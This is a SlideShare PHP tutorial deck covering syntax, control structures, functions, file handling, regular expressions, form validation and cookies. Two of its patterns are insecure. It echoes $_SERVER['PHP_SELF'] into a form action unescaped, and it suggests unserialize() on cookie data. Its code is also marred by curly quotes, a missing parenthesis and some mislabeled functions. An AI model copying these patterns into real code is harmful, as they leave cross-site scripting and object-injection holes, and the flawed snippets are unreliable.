SlideShare a Scribd company logo
PHP: The Basics
What is it?PHP is a scripting language commonly used on web servers.Stands for “PHP: Hypertext Preprocessor”Open sourceEmbedded codeComparable with ASPMultiple operating systems/web servers
The PHP Resourcewww.php.net
What can it do?Dynamic generation of web-page contentDatabase interactionProcessing of user supplied dataEmailFile handlingText processingNetwork interactionAnd more…
FundamentalsPHP is embedded within xhtml pages within the tags: <?php  …  ?>The short version of these tags can also be used: <? …  ?>Each line of PHP is terminated, like MySQL, with a semi-colon.
Hello World!<html> <head> <title>PHP Test</title> </head> <body> <?phpecho ‘<p>Hello World!</p>’;?></body> </html>
Preparing to code with PHP
Literals..All strings must be enclosed in single of double quotes: ‘Hello’ or “Hello”.Numbers are not in enclosed in quotes: 1 or 45 or 34.564Booleans (true/flase) can be written directly as true or false.
Comments	// This is a comment	# This is also a comment	/* This is a commentthat is spread overmultiple lines */Do not nest multi-line comments// recommended over #
Comments<?php// this is a commentecho ‘Hello World!’;/* another     multi-line comment */?>
Displaying DataThere are two language constructs available to display data: print() and echo().They can be used with or without brackets.Note that the data ‘displayed’ by PHP is actually parsed by your browser as HTML. View source to see actual output.
Displaying data<?phpecho ‘Hello World!<br />’;echo(‘Hello World!<br />’);print ‘Hello World!<br />’;print(‘Hello World!<br />’);?>
Escaping CharactersSome characters are considered ‘special’Escape these with a backslash \Special characters will be flagged when they arise, for example a double or single quote belong in this group…
Escaping Characters<?php// Claire O’Reilly said “Hello”.echo ‘Claire O\’Reilly ’;echo “said \”Hello\”.”; ?>
Variables: What are they?When we work in PHP, we often need a labelled place to store a value (be it a string, number, whatever) so we can use it in multiple places in our script.These labelled ‘places’ are called VARIABLES
Variables: Naming$ followed by variable nameCase sensitive$variable differs from $VariableStick to lower-case to be sure!Name must started with a letter or an underscoreFollowed by any number of letters, numbers and underscores
Variables: example<?php$name = ‘Phil’;$age  = 23;echo $name;echo ’ is ‘;echo $age;// Phil is 23?>
ConstantsConstants (unchangeable variables) can also be defined.Each constant is given a name (note no preceding dollar is applied here).By convention, constant names are usually in UPPERCASE.
Constants<?phpdefine(‘NAME’,‘Phil’);define(‘AGE’,23);echo NAME;echo ’ is ‘;echo AGE;// Phil is 23?>
“ or ‘ ?There is a difference between strings written in single and double quotes.In a double-quoted string any variable names are expanded to their values.In a single-quoted string, no variable expansion takes place.
“ or ‘ ?<?php$name = ‘Phil’;$age  = 23;echo “$name is $age”;// Phil is 23?>
“ or ‘ ?<?php$name = ‘Phil’;$age  = 23;echo ‘$name is $age’;// $name is $age?>
ReviewWe’ve started PHP..Escaping XHTMLCommentsBasic SyntaxVariablesConstants
PHP: Moving On..
Expressions and Operators
ReminderPHP is embedded within xhtml pages within the tags: <?php  …  ?>The short version of these tags can also be used: <? …  ?>Each line of PHP is terminated, like MySQL, with a semi-colon.
ReminderVariables are automatically initialised when you start to use them.e.g.   <?php	$name = ‘Rob’;echo $name;?>
ExpressionsUsing variables within expressions to do something is what PHP is all about.	<?php	$name = ‘Rob’;echo $name;?>ExpressionOperator
Some Types of OperatorIncrementing/decrementing
Logical
StringArithmeticAssignmentBitwiseComparisonTernary
String OperatorsUse a dot to concatenate two strings:e.g.	$firstname = ‘Rob’;	$surname = ‘Tuley’;// displays ‘Rob Tuley’echo $firstname.’ ‘.$surname;
Arithmetic Operators
Assignment Operators
Combining OperatorsNote that you can combine operators, for example use =, + and / in one expression:	$a = 4;	$b = 2;	$c = $a + $b + ($a/$b);// $c has value 4+2+(4/2) = 8Brackets help group operators.
Comparison Operators
ComparisonsComparison expressions return a value of TRUE (or ‘1’) or FALSE (or ‘0’). e.g.	$a = 10;	$b = 13;// result is true (‘1’) echo $a < $b;
Incrementing/Decrementing
Logical Operators
Finally, a tricky one!A single ? is the ternary operator.(expr) ? if_expr_true : if_expr_false;A test expression evaluates to TRUE or FALSE. TRUE gives first result (before colon)FALSE gives second result (after colon)
Ternary Operator example<?php$a = 10;$b = 13;echo $a<$b ? ‘a smaller’:‘b smaller’;// string ‘a smaller’ is echoed // to the browser..?>
Groups of variablesSo far, we have stored ONE piece of data in each variable. It is also possible to store multiple pieces of data in ONE variable by using an array.Each piece of data in an array has a key..
An arrayNormal Variable, no key:$name = ‘Rob’;Array Variable, multiple pieces with ‘keys’:$name[0] = ‘Rob’;		$name[1] = ‘Si’;		$name[2] = ‘Sarah’;		…The ‘key’
Array keysArray keys can be strings as well as numbers..	$surname[‘rob’] = ‘Tuley’;	$surname[‘si’] = ‘Lewis’;Notice the way that the key is specified, in square brackets following the variable name.
Working with arrays..Create Array (automatic keys):$letters = array('a','b','c','d');The array keys are automatically assigned by PHP as 0, 1, 2, 3i.e. $letters[1] has value‘b’Create Array (explicit keys):	$letters = array(10=>’a’,13=>’b’);	i.e. $letters[13] has value‘b’
Working with arrays…Create array (component by component):	$letters[10] = ‘a’;	$letters[13] = ‘b’;Access array component:echo $letters[10];	// displays a	echo $letters[10].$letters[13];	// displays ab
Working with arrays…Note that trying to echo an entire array will not display the data. To print an entire array to screen (for debug, for example) use the function print_r instead.	echo $letters;	print_r($letters);
So..We know we can:Store things in named variables.Use expressions to operate on the contents of these variables.Can compare variables..	How do we actually include logic in the code such as ‘if this is bigger than that, do this’?
Control Structuresif, elseif, elsewhile, do … whilefor, foreachswitchbreak, continue, returnrequire, include, require_once, include_once
If …To do something depending on a comparison, use an if statement.if (comparison) {expressions; // do if TRUE	}NB: Notice the curly brackets – these are important!
If example<?php	$a = 10;	$b = 13;if ($a<$b) {echo‘a is smaller than b’;	}?>
Extending IF statementsIt is possible to add extra optional clauses to if statements..	if (comparison) {expressions; // do if TRUE	} else {expressions; // do otherwise	}
Extending If statements	if (comparison1) {expressions;	} elseif (comparison2) {expressions; 	} else {		expressions;	}
An example..$a = 10;$b = 13;if ($a<$b) {echo‘a is smaller than b’;} elseif ($a==$b) {echo‘a is equal to b’;} else {echo‘a is bigger than b’;}
While loopsMight want to do something repeatedly while a comparison is true..while (comparison) {expressions;	}
ExampleLets count to 10! Displays 1,2,3,4,5,..,10:$i = 1;while ($i <= 10) {   echo $i++; }
Do .. WhileAn alternative... $i = 1;do {   echo $i++; } while ($i <= 10);
For loopSometimes we want to loop around the same bit of code a number of times.. Use a for loop.for (expr1; expr2; expr3) { statements; }expr1 evaluated/executed initiallyexpr2 evaluated at beginning of each iteration (Continues if TRUE)expr3 evaluated/executed at end of each iteration
For loop exampleTo count from 1 to 10:for ($i=1; $i<=10; $i++) {echo $i;	}Continue if trueinitialiseExecute at end of loop
Foreach loopA foreach loop is designed for arrays. Often you want to loop through each item in an array in turn..	$letters = array(‘a’,’b’,’c’);	foreach ($letters as $value) {   echo $value; 	} // outputs a,b,c in turn
Foreach.. With keysSometimes we want to use the array ‘key’ value too:$letters = array(‘a’,’b’,’c’);	foreach ($letters as $key => $value) {   echo“array $key to $value”; 	}
Switch statementswitch (expr) {case (result1):statements;break;case (result2):statements;break;default:statements;}expr is evaluated
Case corresponding to result is executed
Otherwise default case is executed
break
Ensures next case isn’t executedSwitch Exampleswitch ($name) {case‘Rob’:echo‘Your name is Rob’;break;case‘Fred’:echo‘You are called Fred’;break;default:	 echo ‘Not sure what your name is’;}
break, continue, returnbreakEnds execution of current for, foreach, do … while, while or switch structureOption: Number of nested structures to break out ofcontinueSkip rest of current loopOption: Number of nested loops to skipreturnEnds execution of current function/statement/script
Indentation..Code readability IS important – notice how all the code inside a loop/control structure is indented.Once you start writing nested control loops, indentation is the only way to keep track of your code!
require, includerequire('filename.ext')Includes and evaluates the specified fileError is fatal (will halt processing)include('filename.ext')Includes and evaluates the specified fileError is a warning (processing continues)require_once/ include_onceIf already included won’t be included again
Code Re-useOften you will want to write a piece of code and re-use it several times (maybe within the same script, or maybe between different scripts).Functions are a very nice way to encapsulate such pieces of code..
Eh..? What?You have already used functions..echo(‘text to display’);Function NAMEFunction ARGUMENT
What is a function?A function takes some arguments (inputs) and does something with them (echo, for example, outputs the text input to the user).As well as the inbuilt PHP functions, we can define our own functions..
Definition vs. CallingThere are two distinct aspects to functions:Definition: Before using a function, that function must be defined – i.e. what inputs does it need, and what does it do with them?Calling: When you call a function, you actually execute the code in the function.
Function DefinitionA function accepts any number of input arguments, and returns a SINGLE value.functionmyfunction($arg1,$arg2,…,$argN){statements;return $return_value;}
ExampleFunction to join first and last names together with a space..function make_name($first,$last) {$fullname = $first.’ ‘.$last;return $fullname;}
Calling functions..Can be done anywhere..myfunction($arg1,$arg2,…,$argN)or$answer = myfunction($arg1,$arg2,…,$argN)e.g.echo make_name(‘Rob’,’Tuley’);// echoes ‘Rob Tuley’
Functions: Return ValuesUse return()Causes execution of function to ceaseControl returns to calling scriptTo return multiple valuesReturn an arrayIf no value returnedNULL
‘Scope’A function executes within its own little protected bubble, or local scope.What does this mean? Its means that the function can’t ‘see’ any of the variables you have defined apart from those passed in as arguments..Each new function call starts a clean slate in terms of internal function variables.
In other words..Variables within a functionAre local to that functionDisappear when function execution endsVariables outside a functionAre not available within the functionUnless set as globalRemembering variablesNot stored between function callsUnless set as static
Global variables..To access a variable outside the ‘local’ scope of a function, declare it as a global:function add5toa(){	global $a;	$a = $a  + 5;} $a = 9;add5toa();echo $a; // 14
Static VariablesLocal function variable values are not saved between function calls unless they are declared as static:function counter(){	static $num = 0;return ++$num;} echo counter(); // 1echo counter(); // 2echo counter(); // 3
Default ArgumentsCan specify a default value in the function definition which is used only if no value is passed to the function when called..Defaults must be specified last in the listfunction myfunction($arg1,$arg2=‘blah’)…function myfunction($arg1=‘blah’,$arg2)…
Passing ReferencesPass a reference to a variableNot the actual variableWhy?Enables a function to modify its argumentsHow?Use an ampersand in front of the variable&$variable
ReviewMore PHP!ExpressionsOperatorsControl StructuresFunctions
File Handling with PHP
Files and PHPFile HandlingData StorageThough slower than a databaseManipulating uploaded filesFrom formsCreating Files for download
Open/Close a FileA file is opened with fopen() as a “stream”, and PHP returns a ‘handle’ to the file that can be used to reference the open file in other functions.Each file is opened in a particular mode.A file is closed with fclose() or when your script ends.
File Open Modes
File Open/Close Example<?php// open file to read$toread = fopen(‘some/file.ext’,’r’);// open (possibly new) file to write$towrite = fopen(‘some/file.ext’,’w’);// close both filesfclose($toread);fclose($towrite);?>
Now what..?If you open a file to read, you can use more in-built PHP functions to read data..If you open the file to write, you can use more in-built PHP functions to write..
Reading DataThere are two main functions to read data:fgets($handle,$bytes)Reads up to $bytes of data, stops at newline or end of file (EOF)fread($handle,$bytes)Reads up to $bytes of data, stops at EOF.
Reading DataWe need to be aware of the End Of File (EOF) point..feof($handle)Whether the file has reached the EOF point. Returns true if have reached EOF.
Data Reading Example		$handle = fopen('people.txt', 'r');		while (!feof($handle)) {			echo fgets($handle, 1024);			echo '<br />';			}fclose($handle);
Data Reading Example		$handle = fopen('people.txt', 'r');		while (!feof($handle)) {			echo fgets($handle, 1024);			echo '<br />';			}fclose($handle);$handle = fopen('people.txt', 'r');Open the file and assign the resource to $handle
Data Reading Example		$handle = fopen('people.txt', 'r');		while (!feof($handle)) {			echo fgets($handle, 1024);			echo '<br />';			}fclose($handle);while (!feof($handle)) {	echo fgets($handle, 1024);	echo '<br />';	}While NOT at the end of the file, pointed to by $handle,get and echo the data line by line
Data Reading Example		$handle = fopen('people.txt', 'r');		while (!feof($handle)) {			echo fgets($handle, 1024);			echo '<br />';			}fclose($handle);Close the filefclose($handle);
File Open shortcuts..There are two ‘shortcut’ functions that don’t require a file to be opened:$lines = file($filename)Reads entire file into an array with each line a separate entry in the array.$str = file_get_contents($filename)Reads entire file into a single string.
Writing DataTo write data to a file use:fwrite($handle,$data)Write $data to the file.
Data Writing Example		$handle = fopen('people.txt', 'a');fwrite($handle, “\nFred:Male”);fclose($handle);
Data Writing Example		$handle = fopen('people.txt', 'a');fwrite($handle, '\nFred:Male');fclose($handle);Open file to append data (mode 'a') $handle = fopen('people.txt', 'a');fwrite($handle, “\nFred:Male”);Write new data (with line break after previous data)
Other File OperationsDelete fileunlink('filename');Rename (file or directory)rename('old name', 'new name');Copy filecopy('source', 'destination');And many, many more!www.php.net/manual/en/ref.filesystem.php
Dealing With DirectoriesOpen a directory$handle = opendir('dirname');$handle 'points' to the directoryRead contents of directoryreaddir($handle)Returns name of next file in directoryFiles are sorted as on filesystemClose a directoryclosedir($handle)Closes directory 'stream'
Directory Example	$handle = opendir('./');while(false !== ($file=readdir($handle)))		{echo"$file<br />";		}closedir($handle);
Directory Example	$handle = opendir('./');while(false !== ($file=readdir($handle)))		{echo"$file<br />";		}closedir($handle);$handle = opendir('./');Open current directory
Directory Example	$handle = opendir('./');while(false !== ($file=readdir($handle)))		{echo"$file<br />";		}closedir($handle);while(false !== ($file=readdir($handle)))	{echo"$file<br />";	}Whilst readdir() returns a name, loop through directory contents, echoing results
Directory Example	$handle = opendir('./');while(false !== ($file=readdir($handle)))		{echo"$file<br />";		}closedir($handle);closedir($handle);Close the directory stream
Other Directory OperationsGet current directorygetcwd()Change Directorychdir('dirname');Create directorymkdir('dirname');Delete directory (MUST be empty)rmdir('dirname');And more!www.php.net/manual/en/ref.dir.php
ReviewCan open and close files.Can read a file line by line or all at one go.Can write to files.Can open and cycle through the files in a directory.
Date Manipulation
Unix Epoch..?The easiest way to handle dates in PHP is using UNIX timestamps.A UNIX timestamp is the number of seconds since the UNIX Epoch.The Epoch is 1st Jan 1970 00:00 GMT.
Get current timeUse the time() function to get current or relative time.<?php$now = time();$nextWeek = time() + (7 * 24 * 60 * 60);    // 7 days; 24 hours; 60 mins; 60secs?>
Display a time..To display a time use the date() function along with a format string.<?php$nextWeek = time() + (7*24*60*60);echo‘Next week: ‘;echo date(‘d-m-Y’,$nextWeek).’<br />’;?>Format strings: http://php.net/manual/en/function.date.php
String to timestampTo convert a string to date, use strtotime()<?phpecho strtotime("now");echo strtotime("10 September 2000");echo strtotime("+1 day");echo strtotime("+1 week");echo strtotime("next Thursday");echo strtotime("last Monday");?>
String to timestampNote that strtotime() assume a US date format on string such as mm/dd/yyyy, so some modifications may be required.
What about dates before 1970?Negative timestamps are not consistently supported in PHP. Therefore we cannot use timestamps when using dates that might be before 1970.
The full information..http://php.net/manual/en/ref.datetime.php	We have looked at a sub-selection of this information. If you want to do something with dates.. This is the place to start looking.
ReviewKnow what an integer UNIX date is.Can manipulate dates in PHP: creating, displaying, parsing from string data.
Data Manipulation & Regex
What..?Often in PHP we have to get data from files, or maybe through forms from a user.Before acting on the data, we:Need to put it in the format we require.Check that the data is actually valid.
What..?To achieve this, we need to learn about PHP functions that check values, and manipulate data.Input PHP functions.Regular Expressions (Regex).
PHP FunctionsThere are a lot of useful PHP functions to manipulate data. We’re not going to look at them all – we’re not even going to look at most of them…http://php.net/manual/en/ref.strings.phphttp://php.net/manual/en/ref.ctype.phphttp://php.net/manual/en/ref.datetime.php
Useful Functions: splittingOften we need to split data into multiple pieces based on a particular character.Use explode().// expand user supplied date..$input = ‘1/12/2007’;$bits  = explode(‘/’,$input);// array(0=>1,1=>12,2=>2007)
Useful functions: trimmingRemoving excess whitespace..Use trim()// a user supplied name..$input = ‘   Rob    ’;$name  = trim($input);// ‘Rob’
Useful functions: string replaceTo replace all occurrences of a string in another string use str_replace()// allow user to user a number    of date separators$input  = ’01.12-2007’;$clean  = str_replace(array(‘.’,’-’),                      ‘/’,$input);// 01/12/2007
Useful functions: cAsETo make a string all uppercase use strtoupper().To make a string all uppercase use strtolower().To make just the first letter upper case use ucfirst().To make the first letter of each word in a string uppercase use ucwords().
Useful functions: html sanitiseTo make a string “safe” to output as html use htmlentities()// user entered comment$input  = ’The <a> tag & ..’;$clean  = htmlentities($input);// ‘The &lt;a&gt; tag &amp; ..’
More complicated checks..It is usually possible to use a combination of various built-in PHP functions to achieve what you want.However, sometimes things get more complicated. When this happens, we turn to Regular Expressions.
Regular ExpressionsRegular expressions are a concise (but obtuse!) way of pattern matching within a string.There are different flavours of regular expression (PERL & POSIX), but we will just look at the faster and more powerful version (PERL).
Some definitions‘rob@example.com’'/^[a-z\d\._-]+@([a-z\d-]+\.)+[a-z]{2,6}$/i‘preg_match(), preg_replace()Actual data that we are going to work upon (e.g. an email address string)Definition of the string pattern (the ‘Regular Expression’).PHP functions to do something with data and regular expression.
Regular Expressions'/^[a-z\d\._-]+@([a-z\d-]+\.)+[a-z]{2,6}$/i‘Are complicated!They are a definition of a pattern. Usually used to validate or extract data from a string.
Regex: Delimiters The regex definition is always bracketed by delimiters, usually a ‘/’:	$regex = ’/php/’;	Matches: ‘php’, ’I love php’	Doesn’t match: ‘PHP’‘I love ph’
Regex: First impressions Note how the regular expression matches anywhere in the string: the whole regular expression has to be matched, but the whole data string doesn’t have to be used.It is a case-sensitive comparison.
Regex: Case insensitive Extra switches can be added after the last delimiter. The only switch we will use is the ‘i’ switch to make comparison case insensitive:	$regex = ’/php/i’;	Matches: ‘php’, ’I love pHp’,	         ‘PHP’	Doesn’t match: ‘I love ph’
Regex: Character groups A regex is matched character-by-character. You can specify multiple options for a character using square brackets:	$regex = ’/p[hu]p/’;	Matches: ‘php’, ’pup’	Doesn’t match: ‘phup’, ‘pop’,	               ‘PHP’
Regex: Character groups You can also specify a digit or alphabetical range in square brackets:	$regex = ’/p[a-z1-3]p/’;	Matches: ‘php’, ’pup’,	         ‘pap’, ‘pop’, ‘p3p’	Doesn’t match: ‘PHP’, ‘p5p’
Regex: Predefined ClassesThere are a number of pre-defined classes available:
Regex: Predefined classes 	$regex = ’/p\dp/’;	Matches: ‘p3p’, ’p7p’,	Doesn’t match: ‘p10p’, ‘P7p’	$regex = ’/p\wp/’;	Matches: ‘p3p’, ’pHp’, ’pop’	Doesn’t match: ‘phhp’
Regex: the Dot The special dot character matches anything apart from line breaks:	$regex = ’/p.p/’;	Matches: ‘php’, ’p&p’,	         ‘p(p’, ‘p3p’, ‘p$p’	Doesn’t match: ‘PHP’, ‘phhp’
Regex: RepetitionThere are a number of special characters that indicate the character group may be repeated:
Regex: Repetition 	$regex = ’/ph?p/’;	Matches: ‘pp’, ’php’,	Doesn’t match: ‘phhp’, ‘pap’	$regex = ’/ph*p/’;	Matches: ‘pp’, ’php’, ’phhhhp’	Doesn’t match: ‘pop’, ’phhohp’
Regex: Repetition 	$regex = ’/ph+p/’;	Matches: ‘php’, ’phhhhp’,	Doesn’t match: ‘pp’, ‘phyhp’	$regex = ’/ph{1,3}p/’;	Matches: ‘php’, ’phhhp’	Doesn’t match: ‘pp’, ’phhhhp’
Regex: Bracketed repetition The repetition operators can be used on bracketed expressions to repeat multiple characters:	$regex = ’/(php)+/’;	Matches: ‘php’, ’phpphp’,	         ‘phpphpphp’	Doesn’t match: ‘ph’, ‘popph’Will it match ‘phpph’?
Regex: AnchorsSo far, we have matched anywhere within a string (either the entire data string or part of it). We can change this behaviour by using anchors:
Regex: Anchors With NO anchors:	$regex = ’/php/’;	Matches: ‘php’, ’php is great’,	         ‘in php we..’	Doesn’t match: ‘pop’
Regex: Anchors With start and end anchors:	$regex = ’/^php$/’;	Matches: ‘php’, 	Doesn’t match: ’php is great’,	         ‘in php we..’, ‘pop’
Regex: Escape special charactersWe have seen that characters such as ?,.,$,*,+ have a special meaning. If we want to actually use them as a literal, we need to escape them with a backslash.	$regex = ’/p\.p/’;	Matches: ‘p.p’	Doesn’t match: ‘php’, ‘p1p’
So.. An exampleLets define a regex that matches an email:$emailRegex ='/^[a-z\d\._-]+@([a-z\d-]+\.)+[a-z]{2,6}$/i‘;	Matches: ‘rob@example.com’,	         ‘rob@subdomain.example.com’	         ‘a_n_other@example.co.uk’	Doesn’t match: ‘rob@exam@ple.com’	               ‘not.an.email.com’
So.. An example/^[a-z\d\._-]+@([a-z\d-]+\.)+[a-z]{2,6}$/iStarting delimiter, and start-of-string anchorUser name – allow any length of letters, numbers, dots, underscore or dashesThe @ separatorDomain (letters, digits or dash only). Repetition to include subdomains.com,uk,info,etc.End anchor, end delimiter, case insensitive
Phew..So we now know how to define regular expressions. Further explanation can be found at:http://www.regular-expressions.info/We still need to know how to use them!
Boolean MatchingWe can use the function preg_match() to test whether a string matches or not.// match an email$input = ‘rob@example.com’;if (preg_match($emailRegex,$input) {echo‘Is a valid email’;} else {echo‘NOT a valid email’;}
Pattern replacementWe can use the function preg_replace() to replace any matching strings.// strip any multiple spaces$input = ‘Some     comment string’;$regex = ‘/\s\s+/’;$clean = preg_replace($regex,’ ‘,$input);// ‘Some comment string’
Sub-referencesWe’re not quite finished: we need to master the concept of sub-references. Any bracketed expression in a regular expression is regarded as a sub-reference. You use it to extract the bits of data you want from a regular expression. Easiest with an example..
Sub-reference example:I start with a date string in a particular format:$str = ’10, April 2007’;The regex that matches this is:$regex = ‘/\d+,\s\w+\s\d+/’;If I want to extract the bits of data I bracket the relevant bits:$regex = ‘/(\d+),\s(\w+)\s(\d+)/’;
Extracting data..I then pass in an extra argument to the function preg_match():	$str = ’The date is 10, April 2007’;$regex = ‘/(\d+),\s(\w+)\s(\d+)/’;preg_match($regex,$str,$matches);	// $matches[0] = ‘10, April 2007’	// $matches[1] = 10	// $matches[2] = April	// $matches[3] = 2007
Back-referencesThis technique can also be used to reference the original text during replacements with $1,$2,etc. in the replacement string:	$str = ’The date is 10, April 2007’;$regex = ‘/(\d+),\s(\w+)\s(\d+)/’;	$str = preg_replace($regex,’$1-$2-$3’,	                    $str);	// $str = ’The date is 10-April-2007’
Phew Again!We now know how to define regular expressions.We now also know how to use them: matching, replacement, data extraction.
Forms(Getting data from users)
Forms: how they work We need to know..How forms work.How to write forms in XHTML. How to access the data in PHP.
How forms workUser requests a particular URLXHTML Page supplied with FormUser fills in form and submits. Another URL is requested and theForm data is sent to this page either inURL or as a separate piece of data.UserWeb ServerXHTML Response
XHTML FormThe form is enclosed in form tags..<form action=“path/to/submit/page”	method=“get”><!–- form contents --></form>
Form tagsaction=“…” is the page that the form should submit its data to.method=“…” is the method by which the form data is submitted. The option are either get or post. If the method is get the data is passed in the url string, if the method is post it is passed as a separate file.
Form fields: text inputUse a text input within form tags for a single line freeform text input.<label for=“fn">First Name</label><input type="text"        name="firstname"       id=“fn"        size="20"/>
Form tagsname=“…” is the name of the field. You will use this name in PHP to access the data.id=“…” is label reference string – this should be the same as that referenced in the <label> tag.size=“…” is the length of the displayed text box (number of characters).
Form fields: password inputUse a starred text input for passwords.<label for=“pw">Password</label><input type=“password"        name=“passwd"       id=“pw"        size="20"/>
Form fields: text inputIf you need more than 1 line to enter data, use a textarea.<label for="desc">Description</label><textarea name=“description”          id=“desc“          rows=“10” cols=“30”>Default text goes here…</textarea>
Form fields: text areaname=“…” is the name of the field. You will use this name in PHP to access the data.id=“…” is label reference string – this should be the same as that referenced in the <label> tag.rows=“…” cols=“..” is the size of the displayed text box.
Form fields: drop down<label for="tn">Where do you live?</label><select name="town" id="tn"><option value="swindon">Swindon</option><option value="london”         selected="selected">London</option><option value=“bristol">Bristol</option></select>
Form fields: drop downname=“…” is the name of the field. id=“…” is label reference string.<option value=“…” is the actual data sent back to PHP if the option is selected.<option>…</option> is the value displayed to the user.selected=“selected” this option is selected by default.
Form fields: radio buttons<input type="radio" 		name="age"		id="u30“		checked=“checked”		value="Under30" /><label for="u30">Under 30</label><br /><input type="radio"		name="age"		id="thirty40"		value="30to40" /><label for="thirty40">30 to 40</label>
Form fields: radio buttonsname=“…” is the name of the field. All radio boxes with the same name are grouped with only one selectable at a time.id=“…” is label reference string.value=“…” is the actual data sent back to PHP if the option is selected.checked=“checked” this option is selected by default.
Form fields: check boxesWhat colours do you like?<br /><input type="checkbox"		name="colour[]"		id="r"		checked="checked"		value="red" /><label for="r">Red</label><br /><input type="checkbox"		name="colour[]" 		id="b"		value="blue" /><label for="b">Blue</label>
Form fields: check boxesname=“…” is the name of the field. Multiple checkboxes can be selected, so if the button are given the same name, they will overwrite previous values. The exception is if the name is given with square brackets – an array is returned to PHP.id=“…” is label reference string.value=“…” is the actual data sent back to PHP if the option is selected.checked=“checked” this option is selected by default.
Hidden Fields<input type="hidden" 		name="hidden_value"		value="My Hidden Value" />name=“…” is the name of the field. value=“…” is the actual data sent back to PHP.
Submit button..A submit button for the form can be created with the code:<input type="submit"        name="submit"        value="Submit" />
FieldsetIn XHTML 1.0, all inputs must be grouped within the form into fieldsets. These represent logical divisions through larger forms. For short forms, all inputs are contained in a single fieldset.<form><fieldset><input … /><input … /></fieldset><fieldset><input … /><input … /></fieldset></form>
In PHP…The form variables are available to PHP in the page to which they have been submitted.The variables are available in two superglobal arrays created by PHP called $_POST and $_GET.
Access dataAccess submitted data in the relevant array for the submission type, using the input name as a key.<form action=“path/to/submit/page”           method=“get”><input type=“text” name=“email”></form>$email = $_GET[‘email’];
A warning.. NEVER TRUST USER INPUTAlways check what has been input.Validation can be undertaken using Regular expressions or in-built PHP functions.
A useful tip..I find that storing the validated data in a different array to the original useful.I often name this array ‘clean’ or something similarly intuitive.I then *only* work with the data in $clean, and never refer to $_POST/$_GET again.
Example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}
Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}$clean = array();Initialise an array to store filtered data.
Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}if (ctype_alnum($_POST['username']))Inspect username to make sure that it is alphanumeric.
Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}$clean['username'] = $_POST['username'];If it is, store it in the array.
Is it submitted?We also need to check before accessing data to see if the data is submitted, use isset() function.if (isset($_POST[‘username’])) {	// perform validation}
Form Redisplaying
Eh?Now we know how to check whether or not user inputs conform to our rules…… we need to handle gracefully when they fail!User inputs come from forms, and we need to work out how to re-display forms on input validation failure.
What are we shooting for?Bullet-proof validation.On validation failure, form should be re-displayed to the user.Don’t make the user fill in fields again that they’ve already done correctly. We want to have to write the form html only once.If validation fails, the user needs some feedback.
The One True Way?There are multiple ways to achieve this..I am going to demonstrate ONE way, but you should be aware that it’s not the ONLY way.
Single PageMake the form submit to the same page. Why? It keeps everything in one place, and means you only write the form once.<form action="<?phpecho$_SERVER['PHP_SELF']; ?>"      method="post"      …
Page Logicif (form has been submitted) {// validate form}if (valid submission) {// action data} else {// (re)display form}
Validation..if (form has been submitted) {// validate form}    …can be implemented as…if (isset($_POST[‘submit’])) {// validate form}
Maintain separationMaintaining separation between validated and un-validated data helps prevent you make mistakes.$_POST             $cleanUNSAFESAFE
Accumulate errors..$errors = 0;$errmsg = ‘’;$clean  = array();if (isset($_POST[‘submit’])) {if ($_POST[‘value’] is VALID) {			$clean[‘value’] = $_POST[‘value’];		} else {       $errors++;       $errmsg .= ‘data not valid because…’;		}// continue testing other fields..}
Now to action or display..if (form has been submitted) {    // validate form}if (valid submission) {// action data} else {// (re)display form}
Now to action or display..if (isset($_POST[‘submit’])) &&     $errors===0) {// action data} else {// (re)display form}
Redisplay form (1)// if (re)displaying form: print// error message if redisplayingif ($error>0) {echo“<p>errors: $errmsg</p>";}
Redisplay form (2)<label for=“email">Email:</label><input name=“email"        size="40"        value="<?phpechoisset($clean[‘email']) ?htmlentities($clean[‘email']) : ‘default'; ?>"        id=“email"        type="text“ />
Maintaining State in PHPPart I - Cookies
xHTML - a ‘stateless’ environment	stateless	(adj.) Having no information about what occurred previously. Most modern applications maintain state, which means that they remember what you were doing last time you ran the application, and they remember all your configuration settings. This is extremely useful because it means you can mould the application to your working habits.Each request for a new web page is processed without any knowledge of previous pages requested or processed.
How do they do that?For example:	A user ‘logs in’ to a web page. Once logged in, the user can browse the site while maintaining their logged in state.
Is PHP stateless?Variables are destroyed as soon as the page script finishes executing.The script can access the ‘referrer’, the address of the previous page, although this can’t really be trusted.$_SERVER['HTTP_REFERER']It is possible to add data to a database/text file to add persistent data, although this is not connected with a particular user…
Is PHP Stateless… No!The usual way to maintain state in PHP pages is via the use of Sessions. To understand how these work, we need to have a look at what and how cookies are..
What is a Cookie?A cookie is a small text file that is stored on a user’s computer.Each cookie on the user’s computer is connected to a particular domain.Each cookie be used to store up to 4kB of data.A maximum of 20 cookies can be stored on a user’s PC per domain.
Example (1)1.  User sends a request for page at www.example.com for the first time.page request
Example (2)2.  Server sends back the page xhtml to the browser AND stores some data in a cookie on the user’s PC.xhtmlcookie data
Example (1)3.  At the next page request for domain www.example.com, all cookie data associated with this domain is sent too.page requestcookie data
Set a cookiesetcookie(name [,value [,expire [,path [,domain [,secure]]]]])name = cookie namevalue = data to store (string)expire = UNIX timestamp when the cookie expires. Default is that cookie expires when browser is closed.path = Path on the server within and below which the cookie is available on.domain = Domain at which the cookie is available for.secure = If cookie should be sent over HTTPS connection only. Default false.
Set a cookie - examplessetcookie(‘name’,’Robert’)	This command will set the cookie called name on theuser’s PC containing the data Robert. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted when the browser is closed (default expire).
Set a cookie - examplessetcookie(‘age’,’20’,time()+60*60*24*30)	This command will set the cookie called age on theuser’s PC containing the data 20. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted after 30 days.
Set a cookie - examplessetcookie(‘gender’,’male’,0,’/’)	This command will set the cookie called gender on theuser’s PC containing the data male. It will be available within the entire domain that set it. It will expire and be deleted when the browser is closed.
Read cookie dataAll cookie data is available through the superglobal $_COOKIE:$variable = $_COOKIE[‘cookie_name’]or$variable = $HTTP_COOKIE_VARS[‘cookie_name’];e.g.$age = $_COOKIE[‘age’]
Storing an array..Only strings can be stored in Cookie files.To store an array in a cookie, convert it to a string by using the serialize() PHP function. The array can be reconstructed using the unserialize() function once it had been read back in.Remember cookie size is limited!
